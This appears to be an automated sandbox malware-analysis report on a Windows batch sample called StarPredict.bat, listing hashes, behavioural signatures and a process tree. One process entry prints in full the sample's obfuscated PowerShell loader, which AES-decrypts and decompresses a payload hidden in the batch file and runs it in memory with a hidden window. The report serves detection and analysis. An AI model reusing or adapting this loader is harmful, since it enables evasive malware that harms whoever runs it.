Analysis

  • max time kernel
    58s
  • max time network
    53s
  • platform
    windows7_x64
  • resource
    win7-20220812-en
  • resource tags

    arch:x64arch:x86image:win7-20220812-enlocale:en-usos:windows7-x64system
  • submitted
    29-08-2022 10:24

General

  • Target

    StarPredict.bat

  • Size

    24KB

  • MD5

    a4a8c94e504ac6ca0ab89e9602757b7d

  • SHA1

    b6e014f2ee929e6522c2f88cef198e8488d1b076

  • SHA256

    95ac6e414cd46ab5ec8d652944120157bedb5a6373efc5ee34656b0d0e6ed9ef

  • SHA512

    29dd2a53d7cad6440c58b30702517796565f8b91d837cf7ad12b29a4f831c32a7011eefb19868048c04f500ca726e6313574b178baea54cb4944a2878e917fa8

  • SSDEEP

    384:XjkB9T5RQ04oNa0VVP/7hdD4HO6oboIsR6a5toa9nb8QbUNFu8BHirCtc:g9TDQ0rD8obYD5tnAbTliEc

Score
8/10

Malware Config

Signatures

  • Executes dropped EXE 1 IoCs
  • Loads dropped DLL 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Runs net.exe
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of FindShellTrayWindow 51 IoCs
  • Suspicious use of SendNotifyMessage 48 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c "C:\Users\Admin\AppData\Local\Temp\StarPredict.bat"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:1912
    • C:\Windows\system32\net.exe
      net file
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:2000
      • C:\Windows\system32\net1.exe
        C:\Windows\system32\net1 file
        3⤵
          PID:1388
      • C:\Users\Admin\AppData\Local\Temp\StarPredict.bat.exe
        "StarPredict.bat.exe" -noprofile -windowstyle hidden -ep bypass -command $GjTPU = [System.IO.File]::('txeTllAdaeR'[-1..-11] -join '')('C:\Users\Admin\AppData\Local\Temp\StarPredict.bat').Split([Environment]::NewLine);foreach ($uNHWF in $GjTPU) { if ($uNHWF.StartsWith(':: ')) { $fykia = $uNHWF.Substring(3); break; }; };$uYWwg = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')($fykia);$bteIa = New-Object System.Security.Cryptography.AesManaged;$bteIa.Mode = [System.Security.Cryptography.CipherMode]::CBC;$bteIa.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$bteIa.Key = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('pM/twRvK9SA5xzjGwNEJ2Q5d0efpPNEUzZ/Iw3rJnZU=');$bteIa.IV = [System.Convert]::('gnirtS46esaBmorF'[-1..-16] -join '')('J7jeqD28Rdq8eM7GGIHP4A==');$krlZA = $bteIa.CreateDecryptor();$uYWwg = $krlZA.TransformFinalBlock($uYWwg, 0, $uYWwg.Length);$krlZA.Dispose();$bteIa.Dispose();$fhTMd = New-Object System.IO.MemoryStream(, $uYWwg);$oPqJI = New-Object System.IO.MemoryStream;$RrChu = New-Object System.IO.Compression.GZipStream($fhTMd, [IO.Compression.CompressionMode]::Decompress);$RrChu.CopyTo($oPqJI);$RrChu.Dispose();$fhTMd.Dispose();$oPqJI.Dispose();$uYWwg = $oPqJI.ToArray();$XDsYK = [System.Reflection.Assembly]::('daoL'[-1..-4] -join '')($uYWwg);$CBJiO = $XDsYK.EntryPoint;$CBJiO.Invoke($null, (, [string[]] ('')))
        2⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1752
    • C:\Program Files\Google\Chrome\Application\chrome.exe
      "C:\Program Files\Google\Chrome\Application\chrome.exe"
      1⤵
      • Enumerates system info in registry
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of FindShellTrayWindow
      • Suspicious use of SendNotifyMessage
      • Suspicious use of WriteProcessMemory
      PID:1872
      • C:\Program Files\Google\Chrome\Application\chrome.exe
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=89.0.4389.114 --initial-client-data=0xc0,0xc4,0xc8,0x94,0xcc,0x7fef70e4f50,0x7fef70e4f60,0x7fef70e4f70
        2⤵
          PID:920
        • C:\Program Files\Google\Chrome\Application\chrome.exe
          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --mojo-platform-channel-handle=1188 /prefetch:2
          2⤵
            PID:1828
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=1268 /prefetch:8
            2⤵
            • Suspicious behavior: EnumeratesProcesses
            PID:1824
          • C:\Program Files\Google\Chrome\Application\chrome.exe
            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=1892 /prefetch:8
            2⤵
              PID:2040
            • C:\Program Files\Google\Chrome\Application\chrome.exe
              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2096 /prefetch:1
              2⤵
                PID:976
              • C:\Program Files\Google\Chrome\Application\chrome.exe
                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=6 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2080 /prefetch:1
                2⤵
                  PID:1836
                • C:\Program Files\Google\Chrome\Application\chrome.exe
                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=2964 /prefetch:8
                  2⤵
                    PID:2020
                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --gpu-preferences=SAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAoAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4AAAAAAAAAHgAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAAIAAAAAAAAAAgAAAAAAAAA --use-gl=swiftshader-webgl --mojo-platform-channel-handle=3344 /prefetch:2
                    2⤵
                      PID:2020
                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --disable-gpu-compositing --lang=en-US --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3444 /prefetch:1
                      2⤵
                        PID:2012
                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3572 /prefetch:8
                        2⤵
                          PID:2096
                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1152,16541654657186428803,4252539491409195037,131072 --lang=en-US --service-sandbox-type=utility --mojo-platform-channel-handle=3676 /prefetch:8
                          2⤵
                            PID:2104

                        Network

                        MITRE ATT&CK Enterprise v6

                        Replay Monitor

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                        Downloads

                        • C:\Users\Admin\AppData\Local\Temp\StarPredict.bat.exe

                          Filesize

                          462KB

                          MD5

                          852d67a27e454bd389fa7f02a8cbe23f

                          SHA1

                          5330fedad485e0e4c23b2abe1075a1f984fde9fc

                          SHA256

                          a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                          SHA512

                          327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

                        • \??\pipe\crashpad_1872_GFVJZIMWSPIHGRXK

                          MD5

                          d41d8cd98f00b204e9800998ecf8427e

                          SHA1

                          da39a3ee5e6b4b0d3255bfef95601890afd80709

                          SHA256

                          e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855

                          SHA512

                          cf83e1357eefb8bdf1542850d66d8007d620e4050b5715dc83f4a921d36ce9ce47d0d13c5d85f2b0ff8318d2877eec2f63b931bd47417a81a538327af927da3e

                        • \Users\Admin\AppData\Local\Temp\StarPredict.bat.exe

                          Filesize

                          462KB

                          MD5

                          852d67a27e454bd389fa7f02a8cbe23f

                          SHA1

                          5330fedad485e0e4c23b2abe1075a1f984fde9fc

                          SHA256

                          a8fdba9df15e41b6f5c69c79f66a26a9d48e174f9e7018a371600b866867dab8

                          SHA512

                          327dc74590f34185735502e289135491092a453f7f1c5ee9e588032ff68934056ffa797f28181267fd9670f7895e1350894b16ea7b0e34a190597f14aea09a4d

                        • memory/1388-55-0x0000000000000000-mapping.dmp

                        • memory/1752-57-0x0000000000000000-mapping.dmp

                        • memory/1752-59-0x000007FEFC1F1000-0x000007FEFC1F3000-memory.dmp

                          Filesize

                          8KB

                        • memory/1752-60-0x000007FEF3E90000-0x000007FEF48B3000-memory.dmp

                          Filesize

                          10.1MB

                        • memory/1752-62-0x0000000002554000-0x0000000002557000-memory.dmp

                          Filesize

                          12KB

                        • memory/1752-61-0x000007FEF3330000-0x000007FEF3E8D000-memory.dmp

                          Filesize

                          11.4MB

                        • memory/1752-63-0x0000000002554000-0x0000000002557000-memory.dmp

                          Filesize

                          12KB

                        • memory/1752-64-0x000000000255B000-0x000000000257A000-memory.dmp

                          Filesize

                          124KB

                        • memory/2000-54-0x0000000000000000-mapping.dmp